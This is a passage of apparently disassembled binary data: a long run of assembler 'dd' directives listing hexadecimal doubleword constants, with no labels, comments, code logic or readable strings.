9D088602h dd 96D98B12h, 76B359C1h, 88ABFE44h, 0BB00D0B8h, 1B9F04E2h dd 713540F1h, 33100F6h, 814D932Ah, 0AB0B548Fh, 0D85B6160h dd 912BC28h, 6B7172EEh, 786AF325h, 320A3F68h, 0DD524A64h dd 89E2FF12h, 0D199CF9Eh, 8E0D24CBh, 0B5C82B47h, 88BA3E2Eh dd 0F562BB81h, 3A5BDF8Bh, 4B1AB708h, 584B5DD8h, 98E163E6h dd 599F2E8Dh, 0B753C0DDh, 0A7B6DD39h, 0EDE9485Eh, 8B59D87h dd 25BF5002h, 960AFD6Dh, 0D05E27CDh, 0F76909DCh, 0B46ABE4h dd 6DB52912h, 0A97EEE2Dh, 2FCD84F9h, 9CF2F012h, 0D6E7E44Ah dd 803017B2h, 6D4B24F6h, 61FCA7C3h, 0F72B2D79h, 5F22B051h dd 0F96F02B0h, 21E9D32Fh, 541B498h, 74C8C795h, 0A450495h dd 36E1CAACh, 96B20504h, 0A6DF0A01h, 21F3BC1Fh, 79B2289Ch dd 0CDB2CE52h, 9C6C3F17h, 0F112CBD0h, 617DB708h, 0E012CB48h dd 0EEE6242Ah, 9C02BB6Fh, 0F84DB56Fh, 35EB9B56h, 6642A57Fh dd 3339EC02h, 0BCABF10Bh, 0C0D3B09Fh, 0E22CB7D0h, 6800CC3Fh dd 0B38C3536h, 4F505F92h, 182B360h, 177BCAE1h, 0F2D30DACh dd 0D31D6059h, 0B6965E61h, 0F19EE04Bh, 12F694CDh, 516FAB02h dd 60001C23h, 0FBB8502Fh, 797DFED3h, 958B12EEh, 12CAEDA5h dd 0E882FDB5h, 634DF561h, 0E8D23869h, 794C0930h, 11024B6Dh dd 8A051F2Dh, 3EC98AAh, 109DBD12h, 6E3E2DABh, 7800116Ah dd 8950527Fh, 0C1C9819Dh, 52505C5Bh, 0B3841BB5h, 0F0B36597h dd 4A920128h, 0A23AE608h, 76A23018h, 551A7712h, 9C1E2ACh dd 418A9BDh, 0AC5FD9A8h, 0FA34C011h, 0F767658Eh, 3E86AEFCh dd 0ED04832Ch, 0EA1D9DF9h, 6036C6DDh, 0DFD4C2B2h, 25977340h dd 5B39005Dh, 77F22A60h, 0AB0080F6h, 7E0C58D8h, 95B8403Eh dd 5655FA92h, 0D52FDC01h, 5C466Ah, 1C2B3264h, 71D24058h dd 0BFC48F07h, 0E580C18Ch, 0B4759589h, 0E65F1281h, 301AB22Eh dd 9104AC1Bh, 0BBEEBFD6h, 1EB308BFh, 0CF805102h, 0FC6C5FCDh dd 16736CBFh, 0C0FD8D33h, 0B5850B0Bh, 490D7BAh, 0BB565001h dd 1092E82Ah, 0E9E44921h, 75BA8812h, 670FC103h, 0B8F19633h dd 341FBD6h, 0F0D5B404h, 0FDE57FECh, 273B846h, 45ADBBCBh dd 0F2787E62h, 0A52A1F4Ch, 20312D99h, 0CD4A7D2Dh, 802D6C5Dh dd 0EA8415C2h, 9F900034h, 998A9437h, 2E02AA17h, 72AEFD32h dd 534F5C04h, 2A165694h, 0EC4E2CA9h, 3484D251h, 0A9BB4C20h dd 11A12DEFh, 0C557454h, 0FE622C41h, 1A71A79Bh, 0BE099218h dd 7BA643h, 0EF815195h, 0C00C09F5h, 3AD75B67h, 89561F0Dh dd 0E7DE85C0h, 71BE4B09h, 0B33B453Dh, 18B2925Eh, 0BFBD2313h dd 1DB1E952h, 80F89B2Ah, 0D20EEF58h, 2720055Fh, 0AE6FC1D5h dd 4A095138h, 7D7E995h, 0A9F0D381h, 0E5BEF03Bh, 2CB9B13Ah dd 0AC24808Ah, 37A1668h, 41E12049h, 0F409C18Bh, 55849DC3h dd 1A91B4B5h, 0B9125E80h, 2A18B413h, 709460DEh, 0BD377A27h dd 0A19B7290h, 5CF24105h, 0CCEF61F9h, 0EF0083A2h, 9D9A56C3h dd 5AD02FE0h, 0FB8C81EBh, 0B8D16D90h, 967C013Ch, 0A5AD6054h dd 6FEE2A2Dh, 2EB50076h, 73470ACBh, 58EC906Fh, 0FCCAD83Dh dd 1F9C05A0h, 0AABA8427h, 6A2AB18Dh, 492A0B8Fh, 10B55460h dd 11175817h, 0E67208Dh, 0FE25B8F5h, 1BC42FBFh, 0E00025F0h dd 0E7971527h, 3315638h, 0E9BCBDE3h, 53BA0F40h, 500680D7h dd 176957BBh, 9B901FC6h, 79D8007h, 2DF98C37h, 0A05C565Eh dd 2540722Fh, 95DA0C4Eh, 95FC0144h, 0F941FB9Ah, 3A887551h dd 30B4AFA6h, 97B5D946h, 0CF5F8712h, 321702FAh, 8DCDD1FFh dd 1BEDAE5h, 0B3182825h, 18282E43h, 0B2988A80h, 4709FA1Fh dd 81AD4563h, 26A2FB2h, 0A0F20876h, 82568F8Bh, 0A6885093h dd 0E4841ECFh, 0AA298B26h, 0CA1B9BDDh, 1129FD5Bh, 0DC075Ch dd 0E6733075h, 18FCA532h, 0E1BD0116h, 884229BAh, 0B1E159Ch dd 35C78E9h, 8825A671h, 17F5D7D8h, 0F20D8BF1h, 0ED52003Ch dd 10BEE167h, 0E6989576h, 905E5B56h, 0B5C929D3h, 160907F0h dd 0AA336DB5h, 0FB266839h dd 899636B1h, 0D521B1CAh, 0B7255394h, 0B7746E0Dh, 0B647D9EDh dd 0D89BA2C0h, 254B9028h, 6A6393F7h, 4D8C81CDh, 0A37A2B2Ah dd 0AF091A01h, 35636BD0h, 0B10E2095h, 8EAC124Eh, 2294FA2h dd 50FCD5Eh, 0F90FD1B0h, 70E60010h, 6DBD1603h, 4F8BAD28h dd 952589A0h, 1298F98h, 4072309Dh, 0DE750309h, 2C54324Fh dd 9C56D0EAh, 57A5F921h, 0F81D7960h, 9CC8994Ah, 8B10B553h dd 3E001A46h, 6EA6BCC4h, 0F242630Eh, 357F00B2h, 0C154BD0Bh dd 2D5F9D33h, 0D85F5509h, 820F298Bh, 0D9FC2DDDh, 1A13A542h dd 9510BBCEh, 2B121F09h, 95B2C8h, 0E5DBED9Eh, 107EED3h dd 0C060914Eh, 7E8B675Ch, 0D1D68Ch, 48A1DB81h, 9FE90E60h dd 0C7C141DEh, 68BFB6F6h, 70491170h, 144054Eh, 0AB0875B5h dd 0C248BF37h, 7F1A34E5h, 2A101AE1h, 2022ABB3h, 0DCBF897Eh dd 0B9629220h, 0DF80C040h, 8CFF9Ch, 34DED881h, 0E9FC2464h dd 6CB5E4FAh, 1D086BFh, 0B7B6EDFBh, 3AF2F4C2h, 0E884BEB2h dd 42CD4008h, 14C04ED4h, 85B5D37Ah, 8D75E904h, 6976AE04h dd 20120ACh, 8812BB82h, 0EFDE302h, 0A550D056h, 668282A0h dd 5D091B3Dh, 0B7F7280Bh, 2FCE805Ch, 0F98B141Eh, 0A30240BFh dd 0C86EB5B1h, 0D550F7BBh, 7310B547h, 0B63D6C63h, 0B95B8570h dd 69A4100Ah, 2FFCA401h, 44B7FCE1h, 57FCA109h, 0B5B33998h dd 12E922h, 0D3C6576Dh, 5D297DC1h, 946FD507h, 0E6106122h dd 112D040h, 8FBBC02Bh, 0DD262A99h, 0D73C2BD2h, 0AF569529h dd 5A37FCAFh, 95D40FD6h, 0F8A05BC1h, 0E2505E7Ch, 0FC27DFC3h dd 2F21A6Dh, 8404C996h, 0BBACDE3Ch, 260956C9h, 75041257h dd 0D9E40145h, 38416EEFh, 0D8D5854Ch, 8BFFB70Fh, 69944BD7h dd 0A8A184BFh, 0B9BB809Ah, 9554D059h, 0B5BD02CEh, 0CCAB0086h dd 0F3FE7DB4h, 41FC2A5Ah, 8D09E102h, 97562CA5h, 0EB14D171h dd 282AEB8Dh, 27D2D96Ah, 2A56941Fh, 90E238FEh, 6FAF26D6h dd 0ABCF0519h, 9BBFDB69h, 0E001DFC2h, 0C53ADBCCh, 90B98089h dd 98906D58h, 8A8152E7h, 0F296AC55h, 0A417D271h, 14B6D54h dd 20A722E7h, 6E8409A1h, 9030BC04h, 0B8AA9529h, 0DBE64F97h dd 0D93017B2h, 0E11A266Bh, 27C91C8Ch, 82E9DC54h, 0B270DCEh dd 16170D58h, 0F2535717h, 2FFE1188h, 0A0D7D66Eh, 80E854Fh dd 87430095h, 921B2A3Bh, 37956A23h, 0D97181E3h, 7F795305h dd 890F863Ch, 0B635C049h, 0B748CF00h, 184A0A94h, 0BC231317h dd 704AB97h, 6044028Bh, 5346B061h, 5679B725h, 0A1124F43h dd 8DAE111h, 0C1B90260h, 6141D63Eh, 48DEB15Eh, 5917138Ah dd 23B2DC25h, 1F859D13h, 4BF56FFFh, 0FB808860h, 4FBB09DBh dd 6D82A349h, 0E90206CDh, 6181A845h, 68748D6h, 5B1EA205h dd 6D8DFF18h, 95A03327h, 3700F501h, 6673566Ah, 9F979FBFh dd 6981EF51h, 0CCDC2D2Bh, 0BB0A302Eh, 61251C4Ah, 55E66220h dd 0F6629A4Fh, 8CA805Ah, 2DEE4B19h, 0EFEC24Fh, 0DCE1DDEBh dd 20F62E89h, 72F1DDF0h, 0D36EFD25h, 0EA0BFFCh, 3C09C8BCh dd 0BDF0142Dh, 0E0D4CCF4h, 14099797h, 0DD705E7Bh, 533097E8h dd 580C9CBBh, 0E968BB3h, 0B5E74A1Bh, 0F8FBE689h, 123A0E70h dd 0AA337CBAh, 172B3DB5h, 837BEE1Ch, 14B95D00h, 3A2E624Ah dd 0D4915A09h, 7B07060h, 21463568h, 414499E7h, 28EC2B01h dd 8770B8FFh, 11800B2Ch, 3054664Bh, 340F9800h, 75867927h dd 4AF105C5h, 28C385Dh, 615FF981h, 0CA02975Eh, 4D18FDBDh dd 6FB3E0DFh, 8916AE42h, 37097535h, 72985649h, 5F52D6F3h dd 0FD909B66h, 298002EEh, 424A9D85h, 21BB7461h, 94F64065h dd 747B1252h, 39B50916h, 6BAE0953h, 16236Fh, 8AF55B4Ch dd 469B61F9h, 0E574E179h, 8FDB4B23h, 0C5DA4A41h, 0D342D80h dd 88B0AD73h, 8DCA074Ah, 80314434h, 0E9EDE756h, 889E564Fh dd 1CB0CCDDh, 6E327E4Eh, 29116460h, 0CB989077h, 0DFF20042h dd 0B47B31DEh, 30125DD2h, 80AC615Bh, 0AC1395EEh, 3DEE2D69h dd 1040F3F8h, 0F9EAB723h, 0DE400E4Fh, 0E2337277h, 9317682h dd 11B797EFh, 6290BAF7h, 0F2AD56C8h, 0DC0774h, 0BB2A1BE2h dd 4F1F2EF4h, 9A6E3191h, 69BD5C61h, 0F34981F5h, 0E67F6D67h dd 30A6B413h, 4B7C7F04h, 4FE3B9A3h, 0EE8763DEh, 67F6E09Bh dd 0D52D09E0h, 9D866073h, 856E9525h, 127B1B95h, 0AB32CD24h dd 5A69AA2Dh, 44B2FFA8h, 0F2D0D85Fh, 0DD1A599Dh, 10B58B83h dd 0C0B015FFh, 0FF08A8ADh, 684D5802h, 79BEDD31h, 542B007Fh dd 16B5FE67h, 0FCCD0D0Fh, 5ADA20E0h, 975F3F31h, 0FDBB73Ah dd 0F700BC51h, 0AEACB2A8h, 90C6BF04h, 0AEB814C0h, 0FFE61D6h dd 21242A87h, 0A74F94ACh, 231800B2h, 7F63214Fh, 17D30BBCh dd 0B555A674h, 9B189569h, 3033C980h, 829FFE21h, 5C52B3A6h dd 0DE9A24A5h, 939FCC02h, 5C71CB80h, 9A812D9Ah, 2AF988F6h dd 0EF09CBB7h, 5A714C9Fh, 99B1354h, 5157EF95h, 8A142B7h dd 8CA23ABCh, 8739F892h, 2C000AAAh, 7DCC74F5h, 7521018Fh dd 32577986h, 7AB62F4Ch, 256532B4h, 1047325Eh, 269E53E0h dd 1FA803FAh, 38E1194Eh, 18EE0A80h, 50963B1Ch, 3DEE1A6h dd 0F282B0Eh, 195E0B80h, 0DBD109BCh, 85B9CB15h, 0BDC2A097h dd 5ADAFBB7h, 2ED37419h, 8A424E28h, 0F6992B61h, 0F2B36CD5h dd 9826091Ch, 9F053E35h, 5FB445C5h, 4085F296h, 0CD0948C0h dd 0C4A0AA89h, 0D9A40087h, 6F14BCB2h, 0DB00639Dh, 7F642D43h dd 160EAAF7h, 81778867h, 4D96D920h, 0C6EC417Bh, 816B2E62h dd 7D071A23h, 0FBA0453Eh, 3580E9F5h, 0AF6D22CFh, 3E0A4F7Bh dd 84772380h, 0B2818263h, 411CC09Fh, 4B82FC27h, 68928D54h dd 0CAD8801Bh, 173C91Ch, 1495BB29h, 66DF42C6h, 87CA4A28h dd 0B7274822h, 0E95E56FFh, 3D4AF74h, 0B65A61CDh, 72890CC6h dd 0D1CB258Ah, 3CF3EAF9h, 3BFC8E00h, 9230749h, 8D2940ECh dd 5B53A457h, 3DD03DABh, 1D59A83Ch, 694915h, 37C14D53h dd 1106B396h, 0FFF31EE9h, 742EF7F8h, 0D2C99A9Ah, 310A20EBh dd 0A89F699Dh, 4062EF7Ch, 89475A8h, 800229F0h, 0D85C824h dd 0BC08D0BAh, 0C1424062h, 8000E3DEh, 0D633271Eh, 693CB259h dd 26FBA825h, 50624595h, 44B531B7h, 2EAD2529h, 14F96AC1h dd 1CC76EAAh, 0D6C56FDAh, 8FFA1869h, 1BA6D30Ch, 8CEDC900h dd 7988A98Fh, 3D335E9Ah, 0A4D9BF72h, 0DAF302B6h, 82775C82h dd 5CABEFBDh, 11566756h, 3BC1BD2Bh, 5C5F4E92h, 0FA8A625Ah dd 422FEFFFh, 115F701Eh, 282EE1B0h, 58A5A37h, 0D821E1D0h dd 246A5702h, 2BDDFF2Dh, 0E3607120h, 3338996Eh, 0D56D0071h dd 0BA7BCFFFh, 0FD240753h, 139A1520h, 2C447989h, 4C97FCD4h dd 521444FBh, 54C1980Eh, 6626A035h, 0C3A259h, 0BECC551Bh dd 0C80C42D5h, 0C6E91D16h, 0B7E28AACh, 7B572F42h, 33A770AFh dd 4FA5BD3Eh, 9C62DC23h, 1CA26B8h, 1D0F10A5h, 885D5350h dd 80D173E5h, 69BE009h, 610B9281h, 0D5DC9431h, 33F33229h dd 67927D72h, 89555556h, 82707870h, 820C539Dh, 0DD01D781h dd 0F62555Ch, 0A889FF89h, 0AE37B57h, 8B86B195h, 6CDFF6Ah dd 928DE2C0h, 1E404C35h, 3B1BD910h, 11A11303h, 7889DF8h dd 0D90B7826h, 223D7F0Eh, 0B7A1A913h, 0A35145ADh, 24DA22CDh dd 0FEC5C4B0h, 34008h, 8170E65Fh, 1E05D1E3h, 71E43E95h dd 0BEABF480h, 92434B94h, 0E822056Ch, 463E2011h, 0C8717195h dd 0CA664900h, 0C2BBF0DAh dd 2DB57B50h, 0B3595FACh, 0EA09ED08h, 469960B7h, 3800F98Eh dd 680445E8h, 1A43AD9Eh, 1A7539DFh, 56C612D5h, 0E9F12558h dd 8A4AAC00h, 0C6AAFFh, 1D7E5D08h, 0D9D1FE6Bh, 0A46F251Eh dd 8160DBC4h, 0C4328FC7h, 7968770Eh, 0CFF8C82Bh, 0BD1560Fh dd 0D3F9D7Bh, 5F8EE9D8h, 0AA01D53Bh, 0FD04B956h, 53B8AB73h dd 0F970FC49h, 2625E288h, 4AE55F12h, 66E97001h, 0A7D00BA7h dd 0BD29530Ch, 975B31DDh, 0B5093A18h, 0E91BC92Fh, 0AC1519FBh dd 0C973800Ch, 0EC58AB8h, 359A7E50h, 20F9E6E1h, 78B52EF1h dd 222BB231h, 62A2753h, 5D02F50Ch, 98F94BBFh, 0F3048148h dd 711C68DBh, 0DE627B10h, 485C24ADh, 4EB0AF50h, 0F02CF626h dd 0CFB1B59h, 577B5C14h, 29401166h, 0F4C7B25Bh, 959DAC03h dd 0EA664C9Ah, 239EC600h, 456781F5h, 96EC07B9h, 62D8D4C4h dd 0FC40F7Dh, 0E3E42BFBh, 0E6FC4EE1h, 0AA31E006h, 53CC01F8h dd 1FA1D196h, 0BE606AC1h, 811C459Dh, 4CDB2AF9h, 0D328A0C0h dd 0BF1266FCh, 23A2E6C6h, 0E0C0340Fh, 473513E0h, 3201B124h dd 5602AC16h, 9FC2B9Bh, 14392585h, 0ED9D3E5Ah, 0CCB1C08Dh dd 0DE7162DAh, 0AC05FAE6h, 2FCD9529h, 431DDFAAh, 6750F077h dd 9D6071EAh, 0F3F4561Ah, 1905DF40h, 6867002Eh, 0AA4FC60Bh dd 511DBDF6h, 0AF80EEECh, 5BD67B2Bh, 70B53961h, 8DF8B92h dd 0BB41041Fh, 0F63F294Bh, 180EE0BBh, 0BB31025Bh, 78CE8EA4h dd 2449FA5Ch, 76EB07F5h, 0D52518ADh, 0A8905B31h, 56104416h dd 9591109Fh, 15A101A7h, 24BA5261h, 0E32E2E7Ah, 0F9FE257Fh dd 4C1AC1C5h, 0DECBFC56h, 0DCCDED02h, 0D57EF96Ch, 7722C542h dd 0C5FF3041h, 0F1B504F6h, 0E1FF051Bh, 129120BBh, 4617DB38h dd 0DB01E068h, 0C90A0D55h, 27CE282Eh, 0D2F7054Eh, 8DF15EA0h dd 172A9F00h, 2CED6945h, 86DB1381h, 0B2CD12B0h, 50A85F3h dd 56216A0Fh, 409D71FDh, 0BC149BDEh, 14974616h, 0FCB544FFh dd 9231F39Dh, 0FA298983h, 0BDC7F5Ch, 45E1FC5Ch, 0EB584009h dd 0C4E7ADADh, 8D29E530h, 108B9535h, 0B7A5317Fh, 0F9BD3310h dd 0DE8B144Bh, 804ADA5Ah, 204A22DFh, 65ED2C18h, 80DD69D6h dd 0E697DE95h, 2336002Eh, 0CC3B114Dh, 14096424h, 7784D877h dd 0C6804B45h, 2FE84259h, 0A27C0008h, 0D139C3C8h, 14097EC2h dd 0D521E551h, 0FC573A92h, 5800F437h, 0D966A6C4h, 26919Ch dd 506FB33Bh, 0CA4187BBh, 2C79F6BFh, 0FD5CDEDAh, 31DFC17Ch dd 0E22B348Ah, 0DE5D050Ah, 19EF7327h, 616062FFh, 0B8527F5Dh dd 0FC2600F8h, 0C18D04F3h, 32610E31h, 3E082DAAh, 956037B0h dd 0B142637Ch, 0AF907F21h, 9A2264BBh, 41FB9F07h, 5220FE12h dd 9058BAB3h, 0D918456Dh, 0CC8A7E8Fh, 1C269C13h, 0DEFC4056h dd 0CDAA54B0h, 0BFF9E314h, 472312D6h, 1AB2CDA6h, 5FF0330h dd 8E88A82Dh, 658F094Bh, 4D70AEA9h, 60B1EFBFh, 520782E1h dd 81DA102Eh, 3CE44E3Ch, 4CBF974Eh, 2ACB023Eh, 5E204905h dd 1A64694Bh, 8F46C800h, 8CDC143h, 0E541006Ah, 263B8311h dd 1B794F3Dh, 0E6EAA425h, 4F93B433h, 0DCE2A361h, 2305E83Bh dd 1CF9EA03h, 0B95BF286h, 0C16B35E0h, 11025B1h, 0A27A61F5h dd 3E32A860h, 0BB803D2Dh, 628C4AE6h, 0DB4BB70Fh, 0DEEB4FD4h dd 0F44A8014h, 280E4EFAh, 20C69903h, 514A2459h, 0AD7A25ACh dd 57A9C02Eh, 590208E2h, 0BF0F7C2Ch, 257B6CFBh, 4DE2F9B7h dd 0DCA723B7h, 9D86A86h, 2083D97Bh, 37C278E0h, 0FB270254h dd 837F7042h, 0EFDF4918h, 99C2E85Ah, 8DFA8092h, 6D2DE29Ah dd 52A3B700h, 0DEBE6794h, 92070942h, 25441677h, 0E1BB6507h dd 7BC3AD4Ah, 62838942h, 4B63DFDCh, 3E72C91Dh, 9BF05CA6h dd 2B2895A0h, 0DB54B189h, 1600D354h, 0DCF2103h, 357B86Ch dd 0DEEF686Bh, 0E5EA3A81h, 30E1EC48h, 0AC46F083h, 20A15B99h dd 0E528C278h, 44150204h, 0C6FC0E53h, 71E05F25h, 856457B9h dd 89BE95A2h, 5EE73A1Ch, 5743E5F0h, 0A180CC00h, 1D1732B8h dd 0D87AC090h, 14890F50h, 0E1B831D3h, 1FF5F980h, 0E9092B35h dd 0A0C89915h, 5FE03AE2h, 79039390h, 0BDB52E23h, 6127A826h dd 5CFA2D54h, 8E125B44h, 0F4B2C056h, 0F823438Ch, 5B58E92Dh dd 0CCA6D99Dh, 0B228FBA9h, 0BC7651E8h, 93ED900h, 0EAA7F8EBh dd 0A3714B75h, 0C9C25FC6h, 0AA5B0518h, 0ACE849CEh, 8D1689FEh dd 0D8A434BDh, 0D41497DAh, 123BB345h, 0F127B8BBh, 0E72B04A0h dd 0B1C5A074h, 3E012E1h, 4965AB0Bh, 0CD2A82BFh, 0D0C9D357h dd 0F702199Ch, 20B0CA94h, 16A1DE0Eh, 0BD6FAA2Ch, 8680835Dh dd 9435EBFh, 12EA854Ah, 232AABEAh, 0ACBEC580h, 0D60BFD6Ah dd 84D3A5B3h, 0F84B0190h, 712FACFCh, 0CABF18DBh, 31FA7E3Dh dd 5DCCA99Fh, 0E642B64Ah, 0F737F5h, 0F02B76CEh, 6013DBE2h dd 53C252AAh, 0E5F0601h, 8FF45695h, 0A99631BDh, 8C18BC0Bh dd 0F0166E06h, 95FC52A7h, 72E9EB5Ch, 7DE19702h, 58B67A2Ah dd 8CCC16F2h, 2F259919h, 8B2B33D7h, 0CC9A5EB4h, 67B7C180h dd 9012AEEBh, 12AB1E49h, 7D1DE584h, 15CB8BCh, 86F23323h dd 0C66EC678h, 5D5F1A7Fh, 745204F3h, 0B0A9C7E2h, 0AE6159F7h dd 8074EE04h, 38BCBBEBh, 89BFF901h, 2F142723h, 0AEDB1D13h dd 0D2C97D80h, 46500C40h, 124A61B9h, 0DAB21DB8h, 0FE253C5Eh dd 0A505F663h, 6AADD949h, 2F86FAAh, 8EECF10Fh, 586E45F9h dd 9705175Ch, 8D29C7F9h, 17768ABDh, 0E70A119Dh, 1EFC5AD8h dd 0EABD29C5h, 0B06F4BC9h, 5E9551A0h, 810924ECh, 667030BBh dd 0BE07342Fh, 258DBC12h, 55D39F49h, 14915B9Fh, 0AC536884h dd 0BD988071h, 0DC8E93h, 8A30F667h, 273F43CDh, 0CAABDA01h dd 5BCB4FEDh, 0A81EB26Ah, 4D2E09DFh, 18959EEh, 60806C71h dd 9F683DB9h, 12CEB355h, 83D2AF29h, 51635E61h, 8A641747h dd 0FEAECCBAh, 7842E295h, 5FFF38C9h, 0B82EACD1h, 96939E26h dd 3BE0F7B6h, 13019E76h, 0B0E26F53h, 9D309708h, 97024255h dd 5C8B8BC1h, 0C868352Fh, 92003753h, 9A689087h, 3D913AFFh dd 0A681D134h, 866181E7h, 0B32848ADh, 26CC164Bh, 5BB784E8h dd 3FFD0044h, 0C6DFEA31h, 33202B04h, 5081FA79h, 5F002C05h dd 36FEF381h, 0E56D9325h, 0AA691233h, 0D006C7Bh, 58F1A3ACh dd 7E0F5B7Fh, 62DF8160h, 55115A85h, 61F94A98h, 8A74F8B7h dd 396D5EDh, 0CF37BFh, 0B4908378h, 8925AE91h, 96E27F95h dd 46F6545Ch, 55370916h, 117D82C0h, 0FE90227h, 71E09D7h dd 0C1E7DE7Ch, 4A0034AAh, 9026A47Dh, 5F9A9731h, 60500240h dd 0F17AB424h, 20FEF017h, 19ED8522h, 0FA40883h, 27BB0B86h dd 0B22668Bh, 6AE97FCFh, 8878FB53h, 1977008Bh, 61A4B608h dd 6E2F44BFh, 0A1CE82BCh, 51B80C18h, 0E5951098h, 263139A4h dd 3FBD9DD1h, 5255EE2h, 70042D44h, 65C611BEh, 2E306FC7h dd 2ECD10BBh, 2505A4E1h, 5F4BC67Ah, 57F97B09h, 0F379E092h dd 4AA6E000h, 37FB4Ch, 4F92CF20h, 5D4E1BC6h, 63989404h dd 9EB17E4h, 0EBFB90C7h, 212D78h, 0AF9E9AD1h, 325F5DFh dd 1F75BD14h, 0C6E897C8h, 97082428h, 0A14A95C4h, 0D3A121EBh dd 1D42209Fh, 955B2940h, 1C596273h, 35006618h, 162FF63Ch dd 953DD487h, 0D3B7E3CEh, 35A050B0h, 0B8BBD602h, 60B2DABCh dd 0B465312h, 0D1FF1B60h, 2B82BD37h, 40305B69h, 78563C52h dd 0EF8012C4h, 88B5F2EAh, 0FE8A8249h, 9B82026Ah, 730A2015h dd 0ED38DB02h, 69FE5750h dd 0BEF6BB61h, 0D47E9E7Eh, 71BAD625h, 10FD50Ch, 8E2B2DE9h dd 3F5B10B5h, 0E1C6A64Fh, 8F301901h, 0DAEC1283h, 2575AE37h dd 0D4A0ACF6h, 0E0003A0Ch, 8EF2ABE2h, 95B589EDh, 0BF50C768h dd 0CED3451Dh, 0E5D69A7h, 378CBF15h, 0F26F6BBh, 0F81297AAh dd 0F4D9BF72h, 0FD2A7549h, 7B318922h, 267FB294h, 909E6E75h dd 9724EC83h, 1991899Fh, 0C4935380h, 134888F3h, 0FDCDC0C0h dd 98B5DEFh, 0A418B1EAh, 642E268Bh, 894E4133h, 4333219Dh dd 0BCE40106h, 2941A273h, 89805D42h, 642E03FDh, 5E137095h dd 0DD62B887h, 4470E6CBh, 0ECE40081h, 0DD7C1913h, 8F093F1Bh dd 87A95A22h, 71F09E74h, 5BE5660h, 7548327Dh, 4BD7B25Eh dd 1B3900EAh, 0E42156A8h, 1C3E2D79h, 0C702833Ch, 8A0129E9h dd 92A15E61h, 10A2A2EBh, 0A94E10E1h, 0FEBF1080h, 5A34AAD6h dd 4A9BC81h, 8791EA04h, 90C1E2Dh, 75BD954Ah, 35EB8101h dd 6A2F93B1h, 4245ACC8h, 86B04E0Bh, 51F5B8FFh, 0B67891D1h dd 7D26FBA0h, 0DB50E800h, 0A8461B3Eh, 9861035Bh, 0C4BBF2A6h dd 4283E9B9h, 81D58568h, 9D0B492Ch, 0DBFA5FD6h, 0B5EC074Ah dd 8C92A45Ah, 9BF0544h, 590C1F5Dh, 1644977Ah, 0C34B0CBBh dd 0D9CE53F9h, 47E0870Fh, 0D8217BE9h, 25D4E4E3h, 9DE656ABh dd 0D66D4197h, 48CF8A2Bh, 8E0E245Eh, 0E9C9750h, 10848B37h dd 0BD563EA4h, 560B8B87h, 750849D2h, 2ADE2F72h, 8877369h dd 8005C02Ch, 0AD1F4EBh, 302FFFBFh, 0DD3815Bh, 9101306h dd 9699D7B9h, 0A539268Ah, 2F4D4FC2h, 0A1144EE0h, 0B2C60084h dd 29F6E873h, 1A41F18Dh, 3A48A13Ah, 0C02B4044h, 17B892A9h dd 16DB681Ch, 0E272B480h, 3BF9ED5h, 4CAA28D6h, 6812D22Bh dd 16F6222Dh, 1F79F4D8h, 8112E699h, 8FBFEB52h, 1BD8D312h dd 0B1A8126Ch, 0EBCCAF4Eh, 0FAEF0481h, 853D14ECh, 0AA15858Ah dd 72493D8Bh, 2B02B6ACh, 0AB695BB0h, 4E12FD60h, 9711077h dd 0B2D14D8Dh, 9159612Dh, 0D4007E7Ah, 0DFD7AE01h, 569D882Dh dd 0E526996Bh, 7B5FC24Dh, 8FDD78B2h, 1F8BD012h, 202DA4ECh dd 5CC4BE59h, 0BFAB8457h, 70F5C9B3h, 0F4AD0968h, 46387702h dd 626E797Fh, 603D5CF4h, 0FF85D780h, 66A8E15Eh, 0AD7C7E69h dd 0C764EBh, 60F39C33h, 0FF689B12h, 8ECBF828h, 541A892Fh dd 4CF78D9h, 4019CF9Fh, 1E85BB39h, 26409497h, 53F704BEh dd 79078D25h, 526FC439h, 0A50CDB08h, 64EFCCD7h, 0E8603325h dd 0E5CB80A0h, 884C3h, 5E7F353Bh, 0DED69E83h, 93476A03h dd 0D58EB0D8h, 35BA2625h, 0F5D5BF05h, 0FAE0B8A6h, 5AE48206h dd 25E49558h, 0B742E22Dh, 0F7238072h, 819643EEh, 64D2824Bh dd 72502946h, 97614544h, 6D7566BAh, 0FC5B40C6h, 5C02EFF6h dd 0ED8529C4h, 46BA571Ah, 0C2FD2841h, 0DB75001h, 6E2BDE75h dd 7D090070h, 1F7C13A1h, 8A601332h, 0B66FCE3h, 716A440Ah dd 0FEED8FFBh, 91F5EFF2h, 71FB2E20h, 894975Bh, 3B0574Ah dd 81C5B950h, 68DD2346h, 6A19F4E1h, 801CB849h, 3B74DA1h dd 0C6340790h, 60C49262h, 0DC43BC0Fh, 1F18A00h, 0BB593739h dd 5F8E3C7h, 55E49561h, 32F0BF0Fh, 25787EF5h, 49FEFE52h dd 0FD0FB479h, 82BF8B6Eh, 7058101Ah, 133597CEh, 58891491h dd 0BB29A607h, 8150005Ch, 96E807C7h, 90233E9h, 0C2E26D55h dd 8461B451h, 94F8C8B5h, 534CF518h, 975FD9C2h, 2EF9F319h dd 699EDB13h, 0CBE472C7h, 0C2F8958Ah, 1051AC5h, 0D51C32C2h dd 20A03C6Eh, 1DFE2BD7h, 75AACA9Fh, 1564D54Dh, 89BEAA60h dd 95290616h, 0B65254BBh, 627401ABh, 897C0528h, 3385DF41h dd 9EB9F82Eh, 5C0FC50Bh, 1546D430h, 0E13E9317h, 5094F8BBh dd 0EA34BB05h, 0E6F10CDAh, 0F8B8D139h, 0D3C15100h, 6EBE774Ah dd 9AF94B8Ah, 0C116C8A2h, 80DEDAA0h, 0B3F92FAFh, 0BCE6896h dd 601F4023h, 0F7928A5Eh, 0BE1F4EA3h, 0E5909C07h, 0D6478F7Fh dd 0FB1F5709h, 853D7007h, 21B46001h, 13E9F65Ah, 38FCC510h dd 0A7A21500h, 7068B674h, 0FF730057h, 0D913ACDDh, 0B725E187h dd 0D6A5566Dh, 0B0001D46h, 0A01E2319h, 0F11241BEh, 8004328Eh dd 90325C1h, 12840585h, 0A9DA8309h, 0E5CE04C2h, 0FE4B31A8h dd 4F00587Fh, 3E8620B8h, 85A6DD98h, 101EFFCh, 76E5D48Fh dd 0A93AFE10h, 617FC51Ch, 85B852FDh, 0FD28904h, 84210C88h dd 0C2091506h, 5CFD29F5h, 1946F634h, 0BB878E3Eh, 4E1A63A6h dd 23F82402h, 0AD534F5Ch, 0EE4BF4E2h, 0F7139Ch, 8EA803CFh dd 0E6437EABh, 0BABF4202h, 0D7ED778Fh, 0BD036E10h, 0DD11A521h dd 0CE986DA5h, 212AF900h, 0D22D1670h, 12B8F477h, 